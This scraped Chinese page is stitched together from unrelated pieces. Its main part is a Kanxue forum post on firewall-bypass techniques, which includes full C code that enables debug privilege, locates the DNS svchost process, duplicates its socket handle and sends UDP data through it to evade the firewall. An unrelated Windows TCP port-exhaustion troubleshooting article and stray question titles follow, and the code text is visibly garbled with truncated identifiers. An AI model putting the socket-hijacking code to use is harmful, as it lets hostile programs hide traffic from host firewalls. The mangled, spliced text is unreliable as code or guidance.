套接字服务器端口号80被占用本软件端口212被占用怎么办

【原创】孤独浪子几种穿透防火墙技术 - 看雪安全论坛
『软件调试逆向』 [综合性论坛]本版讨论的主题包括:调试逆向、系统底层、商业保护、虚拟机保护、.NET平台等安全相关的话题。
该主题: "【原创】孤独浪子几种穿透防火墙技术" 因在一定的时间里没有任何回复而自动关闭。如果您还对该主题感兴趣或者想参与对此主题的讨论,请您重新发表一篇相关的新主题。
本站声明:看雪论坛文章版权属于作者,受法律保护。没有作者书面许可不得转载。若作者同意转载,必须以超链接形式标明文章原始出处和作者信息及本声明!
注册日期: Aug 2009
现金: 26 Kx
获感谢文章数:0获会员感谢数:0
【原创】孤独浪子几种穿透防火墙技术
标 题: 【原创】孤独浪子几种穿透防火墙技术 作 者: lazivip
时 间: ,15:16:23 链 接: /showthread.php?t=102141
标&题:&【原创】孤独浪子几种穿透防火墙技术
作&者:&lazivip(孤独浪子)
博&客:/lazivip/blog/item/a03103cbde1d2d4cf31fe7c1.html
时&间:&&15:26
链&接:&/showthread.php?p=718895#post718895
以下是本人对几种穿透技术学习笔记和一点自己的想法:
防火墙是基本网络安全策略之一,它可以阻止不信任的外部网络用户对内部网络用户的访问,如果外网用户同内网用户之间的通信由外网用户发起,通信通常会被防火墙阻断,尤其是对TCP连接敏感,因此我们如果才能保证正常的数据传输呢,特别是非主动连接情况下,怎么保证连接和数据通信的安全稳定性呢?
人们使用穿透防火墙技术(常用):
1.反向连接------&由内网用户发起的连接请求,在防火墙规则下,是允许安全的
2.HTTP隧道技术------&就是吧所有要传送的数据全部封装到Http协议里进行传送
3.端口复用技术------&也称端口劫持技术,。其原理主要是通过修改套接字属性来实现端口重绑定,这种技术在接受外来数据包的时候通常是由主机进行转化,然后用户接受的
4.共享DNS套接字句柄技术------&这主要是使用了dns服务是所有防火墙免疫的功能来实现的,同时DNS套接字句柄技术最大的特点还是才用UDP通信的(后面将通过引用ZwelL的一些代码来说明)
今天我们主要介绍几种组合的穿透防火墙技术
1.反向连接与HTTP隧道技术
反向连接是由内部网络用户主动发起的连接请求,在防火墙规则下是合法的,假设现在有程序S,C
S----&代理------&C&服务端程序s由内部网络发起对C连接请求,通过代理服务器获取相应的IP和端口
&-----(ip,port)&建立socket套接字,设置端口号:80&80&-------------&============&===========当C/S建立连接后,进行数据传送的时候,这个时候我们使用HTTP隧道技术,将所有要传输的数据头经过HTTP协议封装,加个HTTP请求头:&Get/HTTP/1.0\r\nUse-Agent:Molliza/1.22\r\nAccept:*/*\r\n\r\n&,同时在数据后面加上$$标记,用户在接受到数据的时程序根据预先设定的标记找到数据段,去除HTTP请求头,再把数据交由程序进行处理&采用反向连接+HTTP隧道技术也存在很多局限性&1.采用的端口号为80&2.利用HTTP隧道传输数据需要对数据进行HTTP封装,在混乱的HTTP隧道不能完全保证数据的完整性和安全性,对数据的解封也是一些需要考虑的问题&3.采用数据采集工具和像IS那样的工具可以检测出来&4.防火墙不是傻子,所以规则由时候是不能由我们去改变的&如何可以的吗,我们希望是让S程序为我们自动做个第三方端口映射,而此时第三的稳定性成为了我们的..........&2.共享DNS套接字句柄技术&这个技术大家在05的时候就应该有所闻了,那是ZwelL发表在安焦上的一篇“一种新的穿透防火墙技术”里面采用的就是利用了dns服务是UDP通信同时又是所有防火墙所不能拒绝的.......&该技术使用了win终端服务库所提供的API函数&大概的流程:&
利用wstapi中提供的函数列举所有系统进程-----&查找目标进程或目标服务进程-----&记录保存目标进程的PID------&利用获取的PID得到套接字句柄----&创建套接字进行通信&============具体实现代码:以下引用ZwelL关于一种.....代码==================&
&&&Made&By&ZwelL&
#include&&winsock2.h&&
#include&&stdio.h&&
#include&&wtsapi32.h&&
#pragma&comment(lib,&&ws2_32&)&
#pragma&comment(lib,&&wtsapi32&)&
#define&NT_SUCCESS(status)&&&&&&&((NTSTATUS)(status)&=0)&
#define&STATUS_INFO_LENGTH_MISMATCH&((NTSTATUS)0xC0000004L)&
typedef&LONG&NTSTATUS;&
typedef&struct&_SYSTEM_HANDLE_INFORMATION&
ULONG&&&&&&&&&&ProcessId;&
UCHAR&&&&&&&&&&ObjectTypeN&
UCHAR&&&&&&&&&&F&
USHORT&&&&&&&&&&H&
PVOID&&&&&&&&&&O&
ACCESS_MASK&&&&&&&&GrantedA&
}&SYSTEM_HANDLE_INFORMATION,&*PSYSTEM_HANDLE_INFORMATION;&
typedef&ULONG&(WINAPI&*ZWQUERYSYSTEMINFORMATION)(ULONG,&PVOID,&ULONG,&PULONG);&
ZWQUERYSYSTEMINFORMATION&ZwQuerySystemInformation&=&NULL;&
BOOL&LocateNtdllEntry&(&void&)&
BOOL&ret&&&&&&&=&FALSE;&
char&NTDLL_DLL[]&=&&ntdll.dll&;&
HMODULE&ntdll_dll&=&NULL;&
if&(&(&ntdll_dll&=&GetModuleHandle(&NTDLL_DLL&)&)&==&NULL&)&
&&&&&&&printf(&&GetModuleHandle()&failed&);&
&&&&&&&return(&FALSE&);&
if&(&!(&ZwQuerySystemInformation&=&(&ZWQUERYSYSTEMINFORMATION&)GetProcAddress(&ntdll_dll,&&ZwQuerySystemInformation&&)&)&)&
&&&&&&&goto&LocateNtdllEntry_&
ret&=&TRUE;&
LocateNtdllEntry_exit:&
if&(&FALSE&==&ret&)&
&&&&&&&printf(&&GetProcAddress()&failed&);&
ntdll_dll&=&NULL;&
return(&ret&);&
This&routine&is&used&to&get&a&process's&username&from&it's&SID&
BOOL&GetUserNameFromSid(PSID&pUserSid,&char&*szUserName)&
//&sanity&checks&and&default&value&
if&(pUserSid&==&NULL)&
&&&&&&&return&&
strcpy(szUserName,&&?&);&
SID_NAME_USE&&
TCHAR&&&&&&&szUser[_MAX_PATH];&
DWORD&&&&&&&chUser&=&_MAX_PATH;&
PDWORD&&&&&&&pcchUser&=&&chU&
TCHAR&&&&&&&szDomain[_MAX_PATH];&
DWORD&&&&&&&chDomain&=&_MAX_PATH;&
PDWORD&&&&&&&pcchDomain&=&&chD&
//&Retrieve&user&name&and&domain&name&based&on&user's&SID.&
&&&&&&&::LookupAccountSid(&
&&&&&&&NULL,&
&&&&&&&pUserSid,&
&&&&&&&szUser,&
&&&&&&&pcchUser,&
&&&&&&&szDomain,&
&&&&&&&pcchDomain,&
&&&&&&&&snu&
&&&&&&&wsprintf(szUserName,&&%s&,&szUser);&
&&&&&&&return&&
This&routine&is&used&to&get&the&DNS&process's&Id&
Here,&I&use&WTSEnumerateProcesses&to&get&process&user&Sid,&
and&then&get&the&process&user&name.&Beacause&as&it's&a&&NETWORK&SERVICE&,&
we&cann't&use&OpenProcessToken&to&catch&the&DNS&process's&token&information,&
even&if&we&has&the&privilege&in&catching&the&SYSTEM's.&
DWORD&GetDNSProcessId()&
PWTS_PROCESS_INFO&pProcessInfo&=&NULL;&
DWORD&&&&&&&&&&ProcessCount&=&0;&
char&&&&&&&&&&&&&&szUserName[255];&
DWORD&&&&&&&&&&&&&&Id&=&-1;&
if&(WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE,&0,&1,&&pProcessInfo,&&ProcessCount))&
&&&&&&&//&dump&each&process&description&
&&&&&&&for&(DWORD&CurrentProcess&=&0;&CurrentProcess&&&ProcessC&CurrentProcess++)&
&&&&&&&&&if(&strcmp(pProcessInfo[CurrentProcess].pProcessName,&&svchost.exe&)&==&0&)&
&&&&&&&&&{&
&&&&&&&&&&&&GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid,&szUserName);&
&&&&&&&&&&&&if(&strcmp(szUserName,&&NETWORK&SERVICE&)&==&0)&
&&&&&&&&&&&&{&
&&&&&&&&&&&&&&&&&&&Id&=&pProcessInfo[CurrentProcess].ProcessId;&
&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&}&
&&&&&&&&&}&
&&&&&&&WTSFreeMemory(pProcessInfo);&
return&Id;&
This&doesn't&work&as&we&know,&sign...&
but&you&can&use&the&routine&for&other&useing...&
BOOL&GetProcessUserFromId(char&*szAccountName,&DWORD&PID)&
HANDLE&hProcess&=&NULL,&
&&&&&&&&&hAccessToken&=&NULL;&
TCHAR&InfoBuffer[1000],&szDomainName[200];&
PTOKEN_USER&pTokenUser&=&(PTOKEN_USER)InfoB&
DWORD&dwInfoBufferSize,dwAccountSize&=&200,&dwDomainSize&=&200;&
SID_NAME_USE&&
hProcess&=&OpenProcess(PROCESS_QUERY_INFORMATION,&FALSE,&PID);&
if(hProcess&==&NULL)&
&&&&&&&printf(&OpenProcess&wrong&);&
&&&&&&&CloseHandle(hProcess);&
&&&&&&&return&&
if(0&==&OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))&
&&&&&&&printf(&OpenProcessToken&wrong:%08x&,&GetLastError());&
&&&&&&&return&&
GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,&
&&&&&&&1000,&&dwInfoBufferSize);&
LookupAccountSid(NULL,&pTokenUser-&User.Sid,&szAccountName,&
&&&&&&&&dwAccountSize,szDomainName,&&dwDomainSize,&&snu);&
if(hProcess)&
&&&&&&&CloseHandle(hProcess);&
if(hAccessToken)&
&&&&&&&CloseHandle(hAccessToken);&
Now,&it&is&the&most&important&stuff...&^_^&
SOCKET&GetSocketFromId&(DWORD&PID)&
NTSTATUS&&&&&&&&&&&&&&&&&&&&
PVOID&&&&&&&&&&&&&&&&&&&&&&buf&=&NULL;&
ULONG&&&&&&&&&&&&&&&&&&&&&&size&&&=&1;&
ULONG&&&&&&&&&&&&&&&&&&&&&&NumOfHandle&=&0;&
ULONG&&&&&&&&&&&&&&&&&&&&&&i;&
PSYSTEM_HANDLE_INFORMATION&h_info&&&=&NULL;&
HANDLE&sock&=&NULL;&
buf=malloc(0x1000);&
if(buf&==&NULL)&
&&&&&&&printf(&malloc&wrong\n&);&
&&&&&&&return&NULL;&
status&=&ZwQuerySystemInformation(&0x10,&buf,&0x1000,&&n&);&
if(STATUS_INFO_LENGTH_MISMATCH&==&status)&
&&&&&&&free(buf);&
&&&&&&&buf=malloc(n);&
&&&&&&&if(buf&==&NULL)&
&&&&&&&&&printf(&malloc&wrong\n&);&
&&&&&&&&&return&NULL;&
&&&&&&&status&=&ZwQuerySystemInformation(&0x10,&buf,&n,&NULL);&
&&&&&&&printf(&ZwQuerySystemInformation&wrong\n&);&
&&&&&&&return&NULL;&
NumOfHandle&=&*(ULONG*)&
h_info&=&(&PSYSTEM_HANDLE_INFORMATION&)((ULONG)buf+4);&
for(i&=&0;&i&NumOfHandle&;i++)&
&&&&&&&try&
&&&&&&&&&if(&(&h_info[i].ProcessId&==&PID&)&&&&&&(&h_info[i].ObjectTypeNumber&==&0x1c&)&
&&&&&&&&&&&&&&&(h_info[i].Handle!=0x2c)&//&I&don't&know&why&if&the&Handle&equal&to&0x2c,&in&my&test,&it&stops&at&getsockname()&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&//&So&I&jump&over&this&situation...&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&//&May&be&it's&different&in&your&system,&
&&&&&&&&&&&&)&//wind2000&is&0x1a&
&&&&&&&&&{&
&&&&&&&&&&&&//printf(&Handle:0x%x&Type:%08x\n&,h_info[i].Handle,&h_info[i].ObjectTypeNumber);&
&&&&&&&&&&&&if(&0&==&DuplicateHandle(&
&&&&&&&&&&&&&&&&&&&OpenProcess(PROCESS_ALL_ACCESS,&TRUE,&PID),&
&&&&&&&&&&&&&&&&&&&(HANDLE)h_info[i].Handle,&
&&&&&&&&&&&&&&&&&&&GetCurrentProcess(),&
&&&&&&&&&&&&&&&&&&&&sock,&
&&&&&&&&&&&&&&&&&&&STANDARD_RIGHTS_REQUIRED,&
&&&&&&&&&&&&&&&&&&&true,&
&&&&&&&&&&&&&&&&&&&DUPLICATE_SAME_ACCESS)&
&&&&&&&&&&&&&&&&&&&)&
&&&&&&&&&&&&{&
&&&&&&&&&&&&&&&&&&&printf(&DuplicateHandle&wrong:%8x&,&GetLastError());&
&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&}&
&&&&&&&&&&&&//printf(&DuplicateHandle&ok\n&);&
&&&&&&&&&&&&sockaddr_in&name&=&{0};&
&&&&&&&&&&&&name.sin_family&=&AF_INET;&
&&&&&&&&&&&&int&namelen&=&sizeof(sockaddr_in);&
&&&&&&&&&&&&getsockname(&(SOCKET)sock,&(sockaddr*)&name,&&namelen&);&
&&&&&&&&&&&&//printf(&PORT=%5d\n&,&ntohs(&name.sin_port&));&
&&&&&&&&&&&&if(ntohs(name.sin_port)&0)&//&if&port&&&0,&then&we&can&use&it&
&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&}&
&&&&&&&catch(...)&
&&&&&&&&&&
if&(&buf&!=&NULL&)&
&&&&&&&free(&buf&);&
return&(SOCKET)&
This&is&not&required...&
BOOL&EnablePrivilege&(PCSTR&name)&
HANDLE&hT&
TOKEN_PRIVILEGES&priv&=&{&1,&{0,&0,&SE_PRIVILEGE_ENABLED}&};&
LookupPrivilegeValue&(&
&&&&&&&0,&
&&&&&&&name,&
&&&&&&&&priv.Privileges[0].Luid&
&&&&&&&);&
priv.Privileges[0].Attributes&=&SE_PRIVILEGE_ENABLED;&
OpenProcessToken(&
&&&&&&&GetCurrentProcess&(),&
&&&&&&&TOKEN_ADJUST_PRIVILEGES,&
&&&&&&&&hToken&
&&&&&&&);&
AdjustTokenPrivileges&(&
&&&&&&&hToken,&
&&&&&&&FALSE,&
&&&&&&&&priv,&
&&&&&&&sizeof&priv,&
&&&&&&&0,&
&&&&&&&);&
rv&=&GetLastError&()&==&ERROR_SUCCESS;&
CloseHandle&(hToken);&
void&main()&
WSADATA&wsaD&
char&testbuf[255];&
sockaddr_in&RecvA&
int&iResult&=&WSAStartup(MAKEWORD(2,2),&&wsaData);&
if&(iResult&!=&NO_ERROR)&
&&&&&&&printf(&Error&at&WSAStartup()\n&);&
if(!LocateNtdllEntry())&
if(!EnablePrivilege&(SE_DEBUG_NAME))&
&&&&&&&printf(&EnablePrivilege&wrong\n&);&
sock&=&GetSocketFromId(GetDNSProcessId());&
if(&sock==NULL)&
&&&&&&&printf(&GetSocketFromId&wrong\n&);&
//Change&there&value...&
RecvAddr.sin_family&=&AF_INET;&
RecvAddr.sin_port&=&htons(5555);&
RecvAddr.sin_addr.s_addr&=&inet_addr(&127.0.0.1&);&
if(SOCKET_ERROR&==&sendto(sock,&
&&&&&&&&&&test&,&
&&&&&&&&&5,&
&&&&&&&&&0,&
&&&&&&&&&(SOCKADDR&*)&&RecvAddr,&
&&&&&&&&&sizeof(RecvAddr)))&
&&&&&&&printf(&sendto&wrong:%d\n&,&WSAGetLastError());&
&&&&&&&printf(&send&ok...&Have&fun,&right?&^_^\n&);&
getchar();&
//WSACleanup();&
很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,&
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,&
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.&
再用下面的代码测试:&
UdpReceiver&
#include&&stdio.h&&
#include&&winsock2.h&&
#pragma&comment(lib,&&ws2_32&)&
void&main()&
&&&WSADATA&wsaD&
&&&SOCKET&RecvS&
&&&sockaddr_in&RecvA&
&&&int&Port&=&5555;&
&&&char&RecvBuf[1024];&
&&&int&&&BufLen&=&1024;&
&&&sockaddr_in&SenderA&
&&&int&SenderAddrSize&=&sizeof(SenderAddr);&
&&&//-----------------------------------------------&
&&&//&Initialize&Winsock&
&&&WSAStartup(MAKEWORD(2,2),&&wsaData);&
&&&//-----------------------------------------------&
&&&//&Create&a&receiver&socket&to&receive&datagrams&
&&&RecvSocket&=&socket(AF_INET,&SOCK_DGRAM,&IPPROTO_UDP);&
&&&//-----------------------------------------------&
&&&//&Bind&the&socket&to&any&address&and&the&specified&port.&
&&&RecvAddr.sin_family&=&AF_INET;&
&&&RecvAddr.sin_port&=&htons(Port);&
&&&RecvAddr.sin_addr.s_addr&=&htonl(INADDR_ANY);&
&&&bind(RecvSocket,&(SOCKADDR&*)&&RecvAddr,&sizeof(RecvAddr));&
&&&//-----------------------------------------------&
&&&//&Call&the&recvfrom&function&to&receive&datagrams&
&&&//&on&the&bound&socket.&
&&&printf(&Receiving&datagrams...\n&);&
&&&while(1)&
recvfrom(RecvSocket,&
&&&&&&&RecvBuf,&
&&&&&&&BufLen,&
&&&&&&&0,&
&&&&&&&(SOCKADDR&*)&SenderAddr,&
&&&&&&&&SenderAddrSize);&
printf(&%s\n&,&RecvBuf);&
&&&//-----------------------------------------------&
&&&//&Close&the&socket&when&finished&receiving&datagrams&
&&&printf(&Finished&receiving.&Closing&socket.\n&);&
&&&closesocket(RecvSocket);&
&&&//-----------------------------------------------&
&&&//&Clean&up&and&exit.&
&&&printf(&Exiting.\n&);&
&&&WSACleanup();&
===========================================================&
测试步骤:&
1.&在一台机器上执行UdpReceiver,&
2.&在安装防火墙的机器上执行第一个程序.
以上就是我的学习笔记了,希望对你有帮助,目前正在组合一些大牛们的想法,正在思考一种新的穿透防火墙的数据传输技术*转载请注明来自看雪论坛@
被 lazivip 最后编辑
注册日期: Jan 2007
现金: 167 Kx
获感谢文章数:0获会员感谢数:0
, 15:17:54
不错&收藏了
注册日期: Jun 2009
现金: 239 Kx
获感谢文章数:0获会员感谢数:0
, 16:31:54
不错,学习一下
注册日期: Dec 2007
现金: 109 Kx
获感谢文章数:0获会员感谢数:0
, 20:45:59
学习了,谢谢
注册日期: Nov 2008
现金: 332 Kx
致谢数: 12
获感谢文章数:0获会员感谢数:0
, 23:25:59
谢谢楼主分享
注册日期: Feb 2009
现金: 212 Kx
获感谢文章数:0获会员感谢数:0
, 00:49:06
真的很不错啊!支持楼主!
注册日期: Mar 2006
现金: 127 Kx
获感谢文章数:0获会员感谢数:0
, 00:58:13
不错&收藏了
注册日期: Mar 2007
现金: 86 Kx
获感谢文章数:0获会员感谢数:0
, 11:02:48
安全焦点还是很牛的。
注册日期: Apr 2008
现金: 33 Kx
致谢数: 14
获感谢文章数:2获会员感谢数:2
, 16:42:05
GetSocketFromId&不行!
注册日期: Nov 2009
现金: 15 Kx
获感谢文章数:0获会员感谢数:0
, 16:48:40
不错&收藏了&!!!
注册日期: Jan 2008
现金: 234 Kx
获感谢文章数:0获会员感谢数:0
, 18:58:19
嗯...好东西还是要顶一下....
注册日期: Sep 2007
现金: 348 Kx
获感谢文章数:0获会员感谢数:0
, 21:58:21
不错,收一份,以后看
注册日期: Aug 2007
现金: 474 Kx
获感谢文章数:0获会员感谢数:0
, 22:07:37
这代码哪里看过
注册日期: May 2007
现金: 31 Kx
获感谢文章数:0获会员感谢数:0
, 00:30:42
不错&收藏了&!!!&以后看
注册日期: Nov 2008
现金: 122 Kx
获感谢文章数:0获会员感谢数:0
, 10:28:34
主要思路:通过欺骗防火墙来实现数据传输、。、
该主题: "【原创】孤独浪子几种穿透防火墙技术" 因在一定的时间里没有任何回复而自动关闭。如果您还对该主题感兴趣或者想参与对此主题的讨论,请您重新发表一篇相关的新主题。
您不可以发表主题
您不可以回复帖子
您不可以上传附件
您不可以编辑自己的帖子
论坛论坛启用
用户控制面板
会员在线状态
『看雪众测/众包』
『求助问答』
『经典问答』
『资料导航』
『软件调试逆向』
『密码学』
『编程技术』
『C32Asm』
『MDebug』
『安全工具开发』
『加壳与脱壳』
『CrackMe&ReverseMe』
『资源下载』
『Android 安全』
『Android 开发』
『iOS安全』
『WEB安全』
『漏洞分析』
『外文翻译』
『招聘专区』
『职业生涯』
『15PB培训』
『麦洛克菲培训』
『茶余饭后』
『安全资讯』
『论坛活动』
6)PEDIY Crackme竞赛2009
7)看雪十周年专版
8)腾讯公司2010软件安全竞赛
9)2011 Exploit Me竞赛
『图书项目版』
《加密与解密(第三版)》
《C++反汇编与逆向分析技术揭秘》
《Android软件安全与逆向分析》
『论坛版务』
所有时间均为北京时间, 现在的时间是 .
&&& 看雪学院()
| 提供带宽资源
|&微信公众帐号:ServerSocket 占用了某些重要程序的端口会抛出什么异常?_百度知道怎么解决在window下高并发TCP请求端口被占用有关问题 - 编程当前位置:& &&&怎么解决在window下高并发TCP请求端口被占用有关问题怎么解决在window下高并发TCP请求端口被占用有关问题&&网友分享于:&&浏览:273次如何解决在window下高并发TCP请求端口被占用问题
当客户端启动到服务器的 TCP/IP 套接字连接时,客户端通常连接到服务器上的特定端口,并请求服务器通过临时(或暂时)TCP 或 UDP 端口进行响应。在 Windows Server 2003 和 Windows XP 中,客户端应用程序所使用的临时端口的默认范围为 1025 到 5000。在某些情况下,有可能耗尽默认范围的可用端口。
TCP/IP 端口耗尽会导致连接到 BizTalk Server 的应用程序及连接到远程服务器的 BizTalk 应用程序出现意外错误
TCP/IP 端口耗尽的症状随客户端应用程序的不同而不同,但通常都表现为显示网络连接失败错误。若要确定网络连接失败是否是由 TCP/IP 端口耗尽造成的,请在客户端计算机上执行以下步骤:
在运行 Windows XP 或 Windows Server 2003 的计算机上单击“开始”,再单击“运行”,然后键入 cmd,单击“确定”打开命令提示。
执行以下操作之一:
在 Windows XP 或 Windows Server 2003 计算机上的命令提示中输入以下命令,显示此计算机上 TCP/IP 协议所使用的活动连接:
netstat -n
这将列出绑定到客户端计算机的 TCP/IP 地址以及 TCP/IP 地址与远程服务器通信所使用的端口。如果列出的端口使用了所有可用的端口,则出现了 TCP/IP 端口耗尽现象。
在基于 Windows Server 2003 的客户端计算机的命令提示中输入以下命令,以显示 TCP/IP 协议所使用的活动连接:
netstat -b
这将列出绑定到客户端计算机的 TCP/IP 地址、TCP/IP 地址与远程服务器通信所使用的端口以及使用这些端口的应用程序。此信息可以帮助您确定那个客户端应用程序正在使用过多的 TCP/IP 端口。
当客户端应用程序尝试使用 TCP/IP 套接字连接到 BizTalk Server,或当 BizTalk 应用程序尝试使用 TCP/IP 套接字连接到服务器时,可能会出现类似于下面的情况:
System.Net.WebException: The underlying connection was closed: An unexpected error occurred on a send.
Unable to connect to the remote server
System.Net.Sockets.SocketException: Only one usage of each socket address (protocol/network address/port) is normally permitted.
当出现这些错误时,还可能出现以下问题:
客户端应用程序可能无法连接到 BizTalk Server。
BizTalk 应用程序服务可能无法连接到远程 SQL 服务器。
BizTalk Server 适配器可能无法连接到远程服务器。
客户端应用程序预留的每个端口均占用内核内存。如果预留了数目超常的客户端端口,Windows 内核内存的占用率将相应增加。
如果客户端计算机中存在数目超常的 TCIP/IP 套接字连接,则客户端计算机上可能出现 TCP/IP 端口耗尽的情况。如果多个客户端应用程序都在建立连接,则可能出现这种情况。
如果所有可用的临时端口都分配给了客户端应用程序,则客户端将出现 TCP/IP 端口耗尽的情况。当 TCP/IP 端口耗尽时,将无法预留客户端端口,并且尝试通过 TCP/IP 套接字连接到服务器的客户端应用程序也将出错。
在高负载情况下,比处于正常负载时更容易出现 TCP/IP 端口耗尽的情况。
执行以下步骤以避免 TCP/IP 端口耗尽及其相关问题:
验证客户端应用程序没有生成过多的 TCP/IP 套接字连接。这一点可以用上面提到的方法来检查,即在 Windows Server 2003 和 Windows XP 上运行 netstat -n,或者在 Windows Server 2003 和 2008 上运行 netstat -b。如果某个客户端应用程序使用了数量超常的 TCP/IP 套接字连接,则应考虑重新设计客户端应用程序,以便更有效地使用 TCP/IP 套接字连接。
如果为 BizTalk 应用程序服务 (BTSNTSvc.exe) 实例预留了数量超常的客户端端口,则需验证配置为在 BizTalk 应用程序服务中运行的任何自定义代码都没有建立过多的 TCP/IP 套接字连接。
如果大量客户端应用程序要启动已知数量的 TCP/IP 套接字连接,但没有足够数量的可用临时端口来满足连接请求,则需要进行以下注册表修改。
如果注册表编辑器使用不当,则可能会产生严重问题,导致重新安装操作系统。Microsoft 不保证可以解决因注册表编辑器使用不当而造成的问题。请慎用注册表编辑器,风险自负。在修改注册表之前,请务必备份注册表,并确保您知道在发生问题时如何使用备份进行还原。有关如何备份、还原及修改注册表的详细信息,请参阅 Microsoft 知识库文章“Microsoft Windows 注册表说明”,网址为 /fwlink/?LinkId=62729。
增加动态分配到客户端 TCP/IP 套接字连接的临时端口的上限。
启动注册表编辑器。
在注册表中,浏览到并单击以下注册表项。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
在“编辑”菜单中单击“新建”、“DWORD 值”,然后添加以下注册表值,以增加可以动态分配到客户端的临时端口的数量:
MaxUserPort
&在此输入一个 5000 到 65534 之间的十进制值&
关闭注册表编辑器。
必须重新启动计算机,此更改才会生效。
增加用于客户端 TCP/IP 连接的临时端口的范围将占用 Windows 内核内存。请勿将此设置的值增加至超过容纳客户端应用程序套接字连接所需要的值,以便尽可能降低对 Windows 内核内存的不必要占用。
降低客户端 TCP/IP 套接字连接的超时值(默认值为 240 秒)
启动注册表编辑器。
在注册表中,浏览到并单击以下注册表项。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
在“编辑”菜单中单击“新建”、“DWORD 值”,然后添加以下注册表值,以缩短关闭连接时,该连接处于 TIME_WAIT 状态的时间。当连接处于 TIME_WAIT 状态时,套接字对无法重新使用:
TcpTimedWaitDelay
&在此输入一个 30 到 240 之间的十进制值。&
关闭注册表编辑器。
必须重新启动计算机,此更改才会生效。
此值的有效范围为 30 到 300(十进制)之间。默认值为 240。
12345678910
12345678910
12345678910 上一篇:下一篇:文章评论相关解决方案 12345678910 Copyright & &&版权所有}

我要回帖

更多关于 mc服务器端口被占用 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信